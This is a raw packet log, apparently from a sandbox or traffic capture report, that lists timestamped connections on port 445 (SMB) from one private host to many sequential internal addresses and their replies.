Jul 6, 2024 14:11:28.457982063 CEST	50973	445	192.168.2.6	192.168.0.36
Jul 6, 2024 14:11:28.457982063 CEST	50979	445	192.168.2.6	192.168.1.196
Jul 6, 2024 14:11:28.457982063 CEST	50979	445	192.168.2.6	192.168.1.196
Jul 6, 2024 14:11:28.458071947 CEST	445	50981	192.168.0.37	192.168.2.6
Jul 6, 2024 14:11:28.458412886 CEST	445	50982	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:28.458601952 CEST	445	50982	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:28.459007978 CEST	445	50981	192.168.0.37	192.168.2.6
Jul 6, 2024 14:11:28.459856987 CEST	50982	445	192.168.2.6	192.168.0.38
Jul 6, 2024 14:11:28.461098909 CEST	445	50983	192.168.0.160	192.168.2.6
Jul 6, 2024 14:11:28.462234020 CEST	50983	445	192.168.2.6	192.168.0.160
Jul 6, 2024 14:11:28.462234020 CEST	50983	445	192.168.2.6	192.168.0.160
Jul 6, 2024 14:11:28.462234020 CEST	50988	445	192.168.2.6	192.168.0.161
Jul 6, 2024 14:11:28.466155052 CEST	445	50973	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:28.466165066 CEST	445	50979	192.168.1.196	192.168.2.6
Jul 6, 2024 14:11:28.466209888 CEST	445	50973	192.168.0.36	192.168.2.6
Jul 6, 2024 14:11:28.466609001 CEST	445	50979	192.168.1.196	192.168.2.6
Jul 6, 2024 14:11:28.466825008 CEST	50976	445	192.168.2.6	192.168.0.31
Jul 6, 2024 14:11:28.466825008 CEST	50976	445	192.168.2.6	192.168.0.31
Jul 6, 2024 14:11:28.466825008 CEST	50985	445	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:28.467446089 CEST	445	50982	192.168.0.38	192.168.2.6
Jul 6, 2024 14:11:28.470477104 CEST	445	50983	192.168.0.160	192.168.2.6
Jul 6, 2024 14:11:28.470710039 CEST	445	50988	192.168.0.161	192.168.2.6
Jul 6, 2024 14:11:28.470765114 CEST	50988	445	192.168.2.6	192.168.0.161
Jul 6, 2024 14:11:28.470845938 CEST	50988	445	192.168.2.6	192.168.0.161
Jul 6, 2024 14:11:28.476183891 CEST	445	50988	192.168.0.161	192.168.2.6
Jul 6, 2024 14:11:28.476372004 CEST	445	50976	192.168.0.31	192.168.2.6
Jul 6, 2024 14:11:28.476583004 CEST	445	50985	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:28.476592064 CEST	445	50976	192.168.0.31	192.168.2.6
Jul 6, 2024 14:11:28.477296114 CEST	50988	445	192.168.2.6	192.168.0.161
Jul 6, 2024 14:11:28.478322983 CEST	50989	445	192.168.2.6	192.168.1.197
Jul 6, 2024 14:11:28.478322983 CEST	50992	445	192.168.2.6	192.168.0.162
Jul 6, 2024 14:11:28.479571104 CEST	50985	445	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:28.479571104 CEST	50985	445	192.168.2.6	192.168.0.39
Jul 6, 2024 14:11:28.480556965 CEST	50986	445	192.168.2.6	192.168.1.198
Jul 6, 2024 14:11:28.482773066 CEST	50990	445	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:28.482773066 CEST	50991	445	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:28.484685898 CEST	445	50985	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:28.485241890 CEST	445	50985	192.168.0.39	192.168.2.6
Jul 6, 2024 14:11:28.487396002 CEST	445	50989	192.168.1.197	192.168.2.6
Jul 6, 2024 14:11:28.487648964 CEST	445	50992	192.168.0.162	192.168.2.6
Jul 6, 2024 14:11:28.487665892 CEST	445	50990	192.168.0.40	192.168.2.6
Jul 6, 2024 14:11:28.487761974 CEST	445	50991	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:28.489108086 CEST	50989	445	192.168.2.6	192.168.1.197
Jul 6, 2024 14:11:28.489108086 CEST	50989	445	192.168.2.6	192.168.1.197
Jul 6, 2024 14:11:28.489108086 CEST	50992	445	192.168.2.6	192.168.0.162
Jul 6, 2024 14:11:28.489108086 CEST	50992	445	192.168.2.6	192.168.0.162
Jul 6, 2024 14:11:28.489340067 CEST	50990	445	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:28.489340067 CEST	50990	445	192.168.2.6	192.168.0.40
Jul 6, 2024 14:11:28.489340067 CEST	50991	445	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:28.489340067 CEST	50991	445	192.168.2.6	192.168.0.41
Jul 6, 2024 14:11:28.491362095 CEST	445	50986	192.168.1.198	192.168.2.6
Jul 6, 2024 14:11:28.491552114 CEST	50994	445	192.168.2.6	192.168.1.200
Jul 6, 2024 14:11:28.492609978 CEST	50996	445	192.168.2.6	192.168.0.163
Jul 6, 2024 14:11:28.492775917 CEST	50995	445	192.168.2.6	192.168.1.199
Jul 6, 2024 14:11:28.494190931 CEST	445	50990	192.168.0.40	192.168.2.6
Jul 6, 2024 14:11:28.494335890 CEST	445	50991	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:28.494505882 CEST	445	50989	192.168.1.197	192.168.2.6
Jul 6, 2024 14:11:28.494515896 CEST	445	50990	192.168.0.40	192.168.2.6
Jul 6, 2024 14:11:28.494735003 CEST	445	50991	192.168.0.41	192.168.2.6
Jul 6, 2024 14:11:28.495054007 CEST	445	50989	192.168.1.197	192.168.2.6
Jul 6, 2024 14:11:28.495805979 CEST	445	50992	192.168.0.162	192.168.2.6
Jul 6, 2024 14:11:28.496110916 CEST	50989	445	192.168.2.6	192.168.1.197
Jul 6, 2024 14:11:28.496110916 CEST	50992	445	192.168.2.6	192.168.0.162
Jul 6, 2024 14:11:28.496524096 CEST	445	50994	192.168.1.200	192.168.2.6
Jul 6, 2024 14:11:28.496592045 CEST	50994	445	192.168.2.6	192.168.1.200
Jul 6, 2024 14:11:28.497571945 CEST	445	50996	192.168.0.163	192.168.2.6
Jul 6, 2024 14:11:28.497594118 CEST	445	50995	192.168.1.199	192.168.2.6
Jul 6, 2024 14:11:28.497658014 CEST	50995	445	192.168.2.6	192.168.1.199
Jul 6, 2024 14:11:28.497750044 CEST	50995	445	192.168.2.6	192.168.1.199
Jul 6, 2024 14:11:28.498564005 CEST	50994	445	192.168.2.6	192.168.1.200
Jul 6, 2024 14:11:28.501076937 CEST	50986	445	192.168.2.6	192.168.1.198
Jul 6, 2024 14:11:28.501076937 CEST	50986	445	192.168.2.6	192.168.1.198
Jul 6, 2024 14:11:28.501084089 CEST	445	50989	192.168.1.197	192.168.2.6
Jul 6, 2024 14:11:28.501615047 CEST	50996	445	192.168.2.6	192.168.0.163
Jul 6, 2024 14:11:28.501854897 CEST	445	50994	192.168.1.200	192.168.2.6
Jul 6, 2024 14:11:28.502681971 CEST	50994	445	192.168.2.6	192.168.1.200
Jul 6, 2024 14:11:28.502710104 CEST	445	50995	192.168.1.199	192.168.2.6
Jul 6, 2024 14:11:28.502717972 CEST	445	50995	192.168.1.199	192.168.2.6
Jul 6, 2024 14:11:28.504057884 CEST	445	50994	192.168.1.200	192.168.2.6
Jul 6, 2024 14:11:28.506733894 CEST	50996	445	192.168.2.6	192.168.0.163
Jul 6, 2024 14:11:28.507086039 CEST	51000	445	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:28.507932901 CEST	445	50994	192.168.1.200	192.168.2.6
Jul 6, 2024 14:11:28.509129047 CEST	51002	445	192.168.2.6	192.168.0.164
Jul 6, 2024 14:11:28.509453058 CEST	50998	445	192.168.2.6	192.168.1.201
Jul 6, 2024 14:11:28.512011051 CEST	445	51000	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:28.512298107 CEST	445	50996	192.168.0.163	192.168.2.6
Jul 6, 2024 14:11:28.512752056 CEST	51000	445	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:28.512752056 CEST	51000	445	192.168.2.6	192.168.0.42
Jul 6, 2024 14:11:28.512752056 CEST	50996	445	192.168.2.6	192.168.0.163
Jul 6, 2024 14:11:28.513991117 CEST	445	51002	192.168.0.164	192.168.2.6
Jul 6, 2024 14:11:28.514599085 CEST	445	50998	192.168.1.201	192.168.2.6
Jul 6, 2024 14:11:28.514858961 CEST	50998	445	192.168.2.6	192.168.1.201
Jul 6, 2024 14:11:28.514858961 CEST	50998	445	192.168.2.6	192.168.1.201
Jul 6, 2024 14:11:28.517597914 CEST	50999	445	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:28.519750118 CEST	445	50986	192.168.1.198	192.168.2.6
Jul 6, 2024 14:11:28.520035982 CEST	445	50986	192.168.1.198	192.168.2.6
Jul 6, 2024 14:11:28.521011114 CEST	51002	445	192.168.2.6	192.168.0.164
Jul 6, 2024 14:11:28.521011114 CEST	51002	445	192.168.2.6	192.168.0.164
Jul 6, 2024 14:11:28.521651983 CEST	445	50998	192.168.1.201	192.168.2.6
Jul 6, 2024 14:11:28.521671057 CEST	445	50998	192.168.1.201	192.168.2.6
Jul 6, 2024 14:11:28.522320986 CEST	445	51000	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:28.522614956 CEST	445	51000	192.168.0.42	192.168.2.6
Jul 6, 2024 14:11:28.525549889 CEST	51003	445	192.168.2.6	192.168.0.165
Jul 6, 2024 14:11:28.526232004 CEST	445	51002	192.168.0.164	192.168.2.6
Jul 6, 2024 14:11:28.530915976 CEST	445	51003	192.168.0.165	192.168.2.6
Jul 6, 2024 14:11:28.531677008 CEST	51002	445	192.168.2.6	192.168.0.164
Jul 6, 2024 14:11:28.531677008 CEST	51003	445	192.168.2.6	192.168.0.165
Jul 6, 2024 14:11:28.531677008 CEST	51003	445	192.168.2.6	192.168.0.165
Jul 6, 2024 14:11:28.538086891 CEST	445	50999	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:28.538495064 CEST	51008	445	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:28.539700985 CEST	51007	445	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:28.539762020 CEST	51010	445	192.168.2.6	192.168.0.166
Jul 6, 2024 14:11:28.540462017 CEST	51005	445	192.168.2.6	192.168.1.203
Jul 6, 2024 14:11:28.540920973 CEST	51006	445	192.168.2.6	192.168.1.202
Jul 6, 2024 14:11:28.543164968 CEST	445	51003	192.168.0.165	192.168.2.6
Jul 6, 2024 14:11:28.543410063 CEST	445	51008	192.168.0.45	192.168.2.6
Jul 6, 2024 14:11:28.543466091 CEST	51008	445	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:28.543533087 CEST	51008	445	192.168.2.6	192.168.0.45
Jul 6, 2024 14:11:28.544754028 CEST	445	51010	192.168.0.166	192.168.2.6
Jul 6, 2024 14:11:28.544814110 CEST	51010	445	192.168.2.6	192.168.0.166
Jul 6, 2024 14:11:28.544888973 CEST	51010	445	192.168.2.6	192.168.0.166
Jul 6, 2024 14:11:28.545490026 CEST	445	51005	192.168.1.203	192.168.2.6
Jul 6, 2024 14:11:28.545922041 CEST	445	51006	192.168.1.202	192.168.2.6
Jul 6, 2024 14:11:28.546061039 CEST	51006	445	192.168.2.6	192.168.1.202
Jul 6, 2024 14:11:28.546061039 CEST	51006	445	192.168.2.6	192.168.1.202
Jul 6, 2024 14:11:28.546725988 CEST	51003	445	192.168.2.6	192.168.0.165
Jul 6, 2024 14:11:28.548557997 CEST	445	51008	192.168.0.45	192.168.2.6
Jul 6, 2024 14:11:28.548871994 CEST	445	51008	192.168.0.45	192.168.2.6
Jul 6, 2024 14:11:28.549696922 CEST	51005	445	192.168.2.6	192.168.1.203
Jul 6, 2024 14:11:28.549698114 CEST	51005	445	192.168.2.6	192.168.1.203
Jul 6, 2024 14:11:28.549844980 CEST	445	51007	192.168.0.44	192.168.2.6
Jul 6, 2024 14:11:28.549901009 CEST	51007	445	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:28.549942970 CEST	445	51010	192.168.0.166	192.168.2.6
Jul 6, 2024 14:11:28.549952984 CEST	51007	445	192.168.2.6	192.168.0.44
Jul 6, 2024 14:11:28.549985886 CEST	51010	445	192.168.2.6	192.168.0.166
Jul 6, 2024 14:11:28.551053047 CEST	445	51006	192.168.1.202	192.168.2.6
Jul 6, 2024 14:11:28.551201105 CEST	445	51006	192.168.1.202	192.168.2.6
Jul 6, 2024 14:11:28.551203012 CEST	50986	445	192.168.2.6	192.168.1.198
Jul 6, 2024 14:11:28.551203012 CEST	50999	445	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:28.551203012 CEST	50999	445	192.168.2.6	192.168.0.43
Jul 6, 2024 14:11:28.554481030 CEST	445	51005	192.168.1.203	192.168.2.6
Jul 6, 2024 14:11:28.554814100 CEST	445	51005	192.168.1.203	192.168.2.6
Jul 6, 2024 14:11:28.554986000 CEST	445	51007	192.168.0.44	192.168.2.6
Jul 6, 2024 14:11:28.555011988 CEST	51011	445	192.168.2.6	192.168.0.167
Jul 6, 2024 14:11:28.555171013 CEST	445	51007	192.168.0.44	192.168.2.6
Jul 6, 2024 14:11:28.557701111 CEST	445	50986	192.168.1.198	192.168.2.6
Jul 6, 2024 14:11:28.558022022 CEST	445	50999	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:28.558578014 CEST	445	50999	192.168.0.43	192.168.2.6
Jul 6, 2024 14:11:28.559892893 CEST	445	51011	192.168.0.167	192.168.2.6
Jul 6, 2024 14:11:28.559950113 CEST	51011	445	192.168.2.6	192.168.0.167
Jul 6, 2024 14:11:28.560043097 CEST	51011	445	192.168.2.6	192.168.0.167
Jul 6, 2024 14:11:28.565166950 CEST	445	51011	192.168.0.167	192.168.2.6
Jul 6, 2024 14:11:28.567354918 CEST	51011	445	192.168.2.6	192.168.0.167
Jul 6, 2024 14:11:28.569365978 CEST	51013	445	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:28.569499969 CEST	51014	445	192.168.2.6	192.168.1.204
Jul 6, 2024 14:11:28.570810080 CEST	51016	445	192.168.2.6	192.168.0.168
Jul 6, 2024 14:11:28.574369907 CEST	445	51013	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:28.574429035 CEST	51013	445	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:28.574507952 CEST	51013	445	192.168.2.6	192.168.0.46
Jul 6, 2024 14:11:28.574573040 CEST	445	51014	192.168.1.204	192.168.2.6
Jul 6, 2024 14:11:28.575445890 CEST	51014	445	192.168.2.6	192.168.1.204
Jul 6, 2024 14:11:28.575447083 CEST	51014	445	192.168.2.6	192.168.1.204
Jul 6, 2024 14:11:28.576050997 CEST	445	51016	192.168.0.168	192.168.2.6
Jul 6, 2024 14:11:28.579080105 CEST	51016	445	192.168.2.6	192.168.0.168
Jul 6, 2024 14:11:28.579494953 CEST	445	51013	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:28.579725027 CEST	445	51013	192.168.0.46	192.168.2.6
Jul 6, 2024 14:11:28.580374002 CEST	445	51014	192.168.1.204	192.168.2.6
Jul 6, 2024 14:11:28.580529928 CEST	445	51014	192.168.1.204	192.168.2.6
Jul 6, 2024 14:11:28.584122896 CEST	445	51016	192.168.0.168	192.168.2.6
Jul 6, 2024 14:11:28.585459948 CEST	51016	445	192.168.2.6	192.168.0.168
Jul 6, 2024 14:11:28.585459948 CEST	51016	445	192.168.2.6	192.168.0.168
Jul 6, 2024 14:11:28.585975885 CEST	51018	445	192.168.2.6	192.168.0.169
Jul 6, 2024 14:11:28.586438894 CEST	51017	445	192.168.2.6	192.168.1.205
Jul 6, 2024 14:11:28.590879917 CEST	445	51016	192.168.0.168	192.168.2.6
Jul 6, 2024 14:11:28.591023922 CEST	445	51018	192.168.0.169	192.168.2.6
Jul 6, 2024 14:11:28.591079950 CEST	51018	445	192.168.2.6	192.168.0.169
Jul 6, 2024 14:11:28.596815109 CEST	445	51018	192.168.0.169	192.168.2.6
Jul 6, 2024 14:11:28.596895933 CEST	51018	445	192.168.2.6	192.168.0.169
Jul 6, 2024 14:11:28.600492001 CEST	51018	445	192.168.2.6	192.168.0.169
Jul 6, 2024 14:11:28.600672960 CEST	51020	445	192.168.2.6	192.168.0.49
Jul 6, 2024 14:11:28.600840092 CEST	51022	445	192.168.2.6	192.168.0.48
Jul 6, 2024 14:11:28.600883961 CEST	51023	445	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:28.601803064 CEST	51024	445	192.168.2.6	192.168.1.206
Jul 6, 2024 14:11:28.602684975 CEST	51021	445	192.168.2.6	192.168.1.207
Jul 6, 2024 14:11:28.602685928 CEST	51025	445	192.168.2.6	192.168.0.170
Jul 6, 2024 14:11:28.605531931 CEST	445	51018	192.168.0.169	192.168.2.6
Jul 6, 2024 14:11:28.605541945 CEST	445	51020	192.168.0.49	192.168.2.6
Jul 6, 2024 14:11:28.605618000 CEST	51020	445	192.168.2.6	192.168.0.49
Jul 6, 2024 14:11:28.605693102 CEST	51020	445	192.168.2.6	192.168.0.49
Jul 6, 2024 14:11:28.605740070 CEST	445	51022	192.168.0.48	192.168.2.6
Jul 6, 2024 14:11:28.605789900 CEST	51022	445	192.168.2.6	192.168.0.48
Jul 6, 2024 14:11:28.605814934 CEST	445	51023	192.168.0.47	192.168.2.6
Jul 6, 2024 14:11:28.605864048 CEST	51023	445	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:28.605885029 CEST	51022	445	192.168.2.6	192.168.0.48
Jul 6, 2024 14:11:28.605926037 CEST	51023	445	192.168.2.6	192.168.0.47
Jul 6, 2024 14:11:28.606906891 CEST	445	51024	192.168.1.206	192.168.2.6
Jul 6, 2024 14:11:28.607654095 CEST	445	51017	192.168.1.205	192.168.2.6
Jul 6, 2024 14:11:28.608347893 CEST	51017	445	192.168.2.6	192.168.1.205
Jul 6, 2024 14:11:28.608347893 CEST	51017	445	192.168.2.6	192.168.1.205
Jul 6, 2024 14:11:28.609087944 CEST	51024	445	192.168.2.6	192.168.1.206
Jul 6, 2024 14:11:28.609087944 CEST	51024	445	192.168.2.6	192.168.1.206
Jul 6, 2024 14:11:28.610529900 CEST	445	51020	192.168.0.49	192.168.2.6
Jul 6, 2024 14:11:28.610538960 CEST	445	51020	192.168.0.49	192.168.2.6
Jul 6, 2024 14:11:28.610912085 CEST	445	51022	192.168.0.48	192.168.2.6
Jul 6, 2024 14:11:28.611048937 CEST	445	51023	192.168.0.47	192.168.2.6
Jul 6, 2024 14:11:28.611057997 CEST	445	51022	192.168.0.48	192.168.2.6
Jul 6, 2024 14:11:28.611066103 CEST	445	51023	192.168.0.47	192.168.2.6
Jul 6, 2024 14:11:28.613208055 CEST	445	51021	192.168.1.207	192.168.2.6
Jul 6, 2024 14:11:28.613218069 CEST	445	51025	192.168.0.170	192.168.2.6
Jul 6, 2024 14:11:28.613274097 CEST	51021	445	192.168.2.6	192.168.1.207
Jul 6, 2024 14:11:28.613274097 CEST	51025	445	192.168.2.6	192.168.0.170
Jul 6, 2024 14:11:28.613780975 CEST	51021	445	192.168.2.6	192.168.1.207
Jul 6, 2024 14:11:28.614197016 CEST	445	51024	192.168.1.206	192.168.2.6
Jul 6, 2024 14:11:28.614258051 CEST	51024	445	192.168.2.6	192.168.1.206
Jul 6, 2024 14:11:28.614474058 CEST	445	51024	192.168.1.206	192.168.2.6
Jul 6, 2024 14:11:28.614521027 CEST	445	51017	192.168.1.205	192.168.2.6
Jul 6, 2024 14:11:28.614623070 CEST	445	51017	192.168.1.205	192.168.2.6
Jul 6, 2024 14:11:28.616079092 CEST	51025	445	192.168.2.6	192.168.0.170
Jul 6, 2024 14:11:28.617085934 CEST	51027	445	192.168.2.6	192.168.0.171
Jul 6, 2024 14:11:28.619297028 CEST	445	51021	192.168.1.207	192.168.2.6
Jul 6, 2024 14:11:28.619324923 CEST	445	51024	192.168.1.206	192.168.2.6
Jul 6, 2024 14:11:28.619378090 CEST	445	51025	192.168.0.170	192.168.2.6
Jul 6, 2024 14:11:28.619654894 CEST	445	51021	192.168.1.207	192.168.2.6
Jul 6, 2024 14:11:28.621500015 CEST	445	51025	192.168.0.170	192.168.2.6
Jul 6, 2024 14:11:28.622594118 CEST	51021	445	192.168.2.6	192.168.1.207
Jul 6, 2024 14:11:28.622594118 CEST	51025	445	192.168.2.6	192.168.0.170
Jul 6, 2024 14:11:28.622910023 CEST	445	51027	192.168.0.171	192.168.2.6
Jul 6, 2024 14:11:28.622965097 CEST	51027	445	192.168.2.6	192.168.0.171
Jul 6, 2024 14:11:28.627459049 CEST	445	51021	192.168.1.207	192.168.2.6
Jul 6, 2024 14:11:28.628186941 CEST	445	51027	192.168.0.171	192.168.2.6
Jul 6, 2024 14:11:28.628227949 CEST	51027	445	192.168.2.6	192.168.0.171
Jul 6, 2024 14:11:28.631759882 CEST	51027	445	192.168.2.6	192.168.0.171
Jul 6, 2024 14:11:28.631978989 CEST	51029	445	192.168.2.6	192.168.0.50
Jul 6, 2024 14:11:28.633121967 CEST	51032	445	192.168.2.6	192.168.1.208
Jul 6, 2024 14:11:28.633121967 CEST	51033	445	192.168.2.6	192.168.0.172
Jul 6, 2024 14:11:28.634325981 CEST	51031	445	192.168.2.6	192.168.1.209
Jul 6, 2024 14:11:28.635731936 CEST	51030	445	192.168.2.6	192.168.0.51
Jul 6, 2024 14:11:28.636730909 CEST	445	51027	192.168.0.171	192.168.2.6
Jul 6, 2024 14:11:28.636929989 CEST	445	51029	192.168.0.50	192.168.2.6
Jul 6, 2024 14:11:28.637412071 CEST	51029	445	192.168.2.6	192.168.0.50
Jul 6, 2024 14:11:28.637412071 CEST	51029	445	192.168.2.6	192.168.0.50
Jul 6, 2024 14:11:28.637970924 CEST	445	51032	192.168.1.208	192.168.2.6
Jul 6, 2024 14:11:28.637989998 CEST	445	51033	192.168.0.172	192.168.2.6
Jul 6, 2024 14:11:28.638039112 CEST	51032	445	192.168.2.6	192.168.1.208
Jul 6, 2024 14:11:28.638992071 CEST	51033	445	192.168.2.6	192.168.0.172
Jul 6, 2024 14:11:28.638992071 CEST	51033	445	192.168.2.6	192.168.0.172
Jul 6, 2024 14:11:28.638992071 CEST	51032	445	192.168.2.6	192.168.1.208
Jul 6, 2024 14:11:28.642957926 CEST	445	51030	192.168.0.51	192.168.2.6
Jul 6, 2024 14:11:28.643143892 CEST	445	51032	192.168.1.208	192.168.2.6
Jul 6, 2024 14:11:28.643198967 CEST	51032	445	192.168.2.6	192.168.1.208
Jul 6, 2024 14:11:28.643918037 CEST	51030	445	192.168.2.6	192.168.0.51
Jul 6, 2024 14:11:28.643918037 CEST	51030	445	192.168.2.6	192.168.0.51
Jul 6, 2024 14:11:28.644098043 CEST	445	51032	192.168.1.208	192.168.2.6
Jul 6, 2024 14:11:28.644382954 CEST	445	51033	192.168.0.172	192.168.2.6
Jul 6, 2024 14:11:28.645190001 CEST	51033	445	192.168.2.6	192.168.0.172
Jul 6, 2024 14:11:28.645620108 CEST	445	51031	192.168.1.209	192.168.2.6
Jul 6, 2024 14:11:28.646161079 CEST	51031	445	192.168.2.6	192.168.1.209
Jul 6, 2024 14:11:28.646161079 CEST	51031	445	192.168.2.6	192.168.1.209
Jul 6, 2024 14:11:28.647309065 CEST	445	51029	192.168.0.50	192.168.2.6
Jul 6, 2024 14:11:28.647708893 CEST	51029	445	192.168.2.6	192.168.0.50
Jul 6, 2024 14:11:28.648817062 CEST	445	51032	192.168.1.208	192.168.2.6
Jul 6, 2024 14:11:28.648890972 CEST	51035	445	192.168.2.6	192.168.0.173
Jul 6, 2024 14:11:28.649266005 CEST	445	51030	192.168.0.51	192.168.2.6
Jul 6, 2024 14:11:28.649276018 CEST	445	51030	192.168.0.51	192.168.2.6
Jul 6, 2024 14:11:28.649502993 CEST	445	51029	192.168.0.50	192.168.2.6
Jul 6, 2024 14:11:28.651293993 CEST	445	51031	192.168.1.209	192.168.2.6
Jul 6, 2024 14:11:28.651510954 CEST	445	51031	192.168.1.209	192.168.2.6
Jul 6, 2024 14:11:28.652630091 CEST	445	51029	192.168.0.50	192.168.2.6
Jul 6, 2024 14:11:28.654279947 CEST	445	51035	192.168.0.173	192.168.2.6
Jul 6, 2024 14:11:28.654349089 CEST	51035	445	192.168.2.6	192.168.0.173
Jul 6, 2024 14:11:28.659626007 CEST	445	51035	192.168.0.173	192.168.2.6
Jul 6, 2024 14:11:28.659677982 CEST	51035	445	192.168.2.6	192.168.0.173
Jul 6, 2024 14:11:28.663000107 CEST	51035	445	192.168.2.6	192.168.0.173
Jul 6, 2024 14:11:28.663341045 CEST	51037	445	192.168.2.6	192.168.0.52
Jul 6, 2024 14:11:28.663393021 CEST	51038	445	192.168.2.6	192.168.1.210
Jul 6, 2024 14:11:28.663516045 CEST	51039	445	192.168.2.6	192.168.1.211
Jul 6, 2024 14:11:28.664524078 CEST	51041	445	192.168.2.6	192.168.0.174
Jul 6, 2024 14:11:28.667743921 CEST	445	51035	192.168.0.173	192.168.2.6
Jul 6, 2024 14:11:28.668236017 CEST	445	51037	192.168.0.52	192.168.2.6
Jul 6, 2024 14:11:28.668245077 CEST	445	51038	192.168.1.210	192.168.2.6
Jul 6, 2024 14:11:28.668292999 CEST	51037	445	192.168.2.6	192.168.0.52
Jul 6, 2024 14:11:28.668365002 CEST	51037	445	192.168.2.6	192.168.0.52
Jul 6, 2024 14:11:28.669089079 CEST	445	51039	192.168.1.211	192.168.2.6
Jul 6, 2024 14:11:28.669724941 CEST	445	51041	192.168.0.174	192.168.2.6
Jul 6, 2024 14:11:28.669734955 CEST	51038	445	192.168.2.6	192.168.1.210
Jul 6, 2024 14:11:28.669734955 CEST	51038	445	192.168.2.6	192.168.1.210
Jul 6, 2024 14:11:28.669734955 CEST	51039	445	192.168.2.6	192.168.1.211
Jul 6, 2024 14:11:28.669781923 CEST	51041	445	192.168.2.6	192.168.0.174
Jul 6, 2024 14:11:28.673407078 CEST	445	51037	192.168.0.52	192.168.2.6
Jul 6, 2024 14:11:28.673512936 CEST	445	51037	192.168.0.52	192.168.2.6
Jul 6, 2024 14:11:28.675437927 CEST	445	51041	192.168.0.174	192.168.2.6
Jul 6, 2024 14:11:28.675487041 CEST	51041	445	192.168.2.6	192.168.0.174
Jul 6, 2024 14:11:28.678601027 CEST	51041	445	192.168.2.6	192.168.0.174
Jul 6, 2024 14:11:28.679092884 CEST	51044	445	192.168.2.6	192.168.1.212
Jul 6, 2024 14:11:28.679140091 CEST	51042	445	192.168.2.6	192.168.0.53
Jul 6, 2024 14:11:28.680102110 CEST	51045	445	192.168.2.6	192.168.0.175
Jul 6, 2024 14:11:28.681210041 CEST	51043	445	192.168.2.6	192.168.0.54
Jul 6, 2024 14:11:28.682063103 CEST	51039	445	192.168.2.6	192.168.1.211
Jul 6, 2024 14:11:28.685056925 CEST	445	51041	192.168.0.174	192.168.2.6
Jul 6, 2024 14:11:28.685122013 CEST	445	51044	192.168.1.212	192.168.2.6
Jul 6, 2024 14:11:28.685457945 CEST	51044	445	192.168.2.6	192.168.1.212
Jul 6, 2024 14:11:28.685457945 CEST	51044	445	192.168.2.6	192.168.1.212
Jul 6, 2024 14:11:28.686328888 CEST	445	51045	192.168.0.175	192.168.2.6
Jul 6, 2024 14:11:28.686347008 CEST	445	51042	192.168.0.53	192.168.2.6
Jul 6, 2024 14:11:28.686403036 CEST	51042	445	192.168.2.6	192.168.0.53
Jul 6, 2024 14:11:28.686456919 CEST	51042	445	192.168.2.6	192.168.0.53
Jul 6, 2024 14:11:28.686775923 CEST	51045	445	192.168.2.6	192.168.0.175
Jul 6, 2024 14:11:28.686775923 CEST	51045	445	192.168.2.6	192.168.0.175
Jul 6, 2024 14:11:28.688172102 CEST	445	51043	192.168.0.54	192.168.2.6
Jul 6, 2024 14:11:28.688199043 CEST	445	51038	192.168.1.210	192.168.2.6
Jul 6, 2024 14:11:28.688224077 CEST	51043	445	192.168.2.6	192.168.0.54
Jul 6, 2024 14:11:28.688313007 CEST	51043	445	192.168.2.6	192.168.0.54
Jul 6, 2024 14:11:28.688920975 CEST	445	51039	192.168.1.211	192.168.2.6
Jul 6, 2024 14:11:28.691015959 CEST	445	51044	192.168.1.212	192.168.2.6
Jul 6, 2024 14:11:28.694680929 CEST	445	51039	192.168.1.211	192.168.2.6
Jul 6, 2024 14:11:28.694732904 CEST	445	51044	192.168.1.212	192.168.2.6
Jul 6, 2024 14:11:28.694773912 CEST	445	51042	192.168.0.53	192.168.2.6
Jul 6, 2024 14:11:28.694808960 CEST	445	51043	192.168.0.54	192.168.2.6
Jul 6, 2024 14:11:28.694818974 CEST	445	51045	192.168.0.175	192.168.2.6
Jul 6, 2024 14:11:28.695044994 CEST	445	51042	192.168.0.53	192.168.2.6
Jul 6, 2024 14:11:28.695607901 CEST	445	51045	192.168.0.175	192.168.2.6
Jul 6, 2024 14:11:28.695749998 CEST	51045	445	192.168.2.6	192.168.0.175
Jul 6, 2024 14:11:28.696270943 CEST	51048	445	192.168.2.6	192.168.1.213
Jul 6, 2024 14:11:28.696609020 CEST	445	51043	192.168.0.54	192.168.2.6
Jul 6, 2024 14:11:28.697185040 CEST	51047	445	192.168.2.6	192.168.0.55
Jul 6, 2024 14:11:28.698498964 CEST	51050	445	192.168.2.6	192.168.0.176
Jul 6, 2024 14:11:28.701848030 CEST	445	51048	192.168.1.213	192.168.2.6
Jul 6, 2024 14:11:28.701905012 CEST	51048	445	192.168.2.6	192.168.1.213
Jul 6, 2024 14:11:28.702325106 CEST	51048	445	192.168.2.6	192.168.1.213
Jul 6, 2024 14:11:28.702676058 CEST	445	51047	192.168.0.55	192.168.2.6
Jul 6, 2024 14:11:28.702769041 CEST	51047	445	192.168.2.6	192.168.0.55
Jul 6, 2024 14:11:28.702835083 CEST	51047	445	192.168.2.6	192.168.0.55
Jul 6, 2024 14:11:28.703396082 CEST	445	51050	192.168.0.176	192.168.2.6
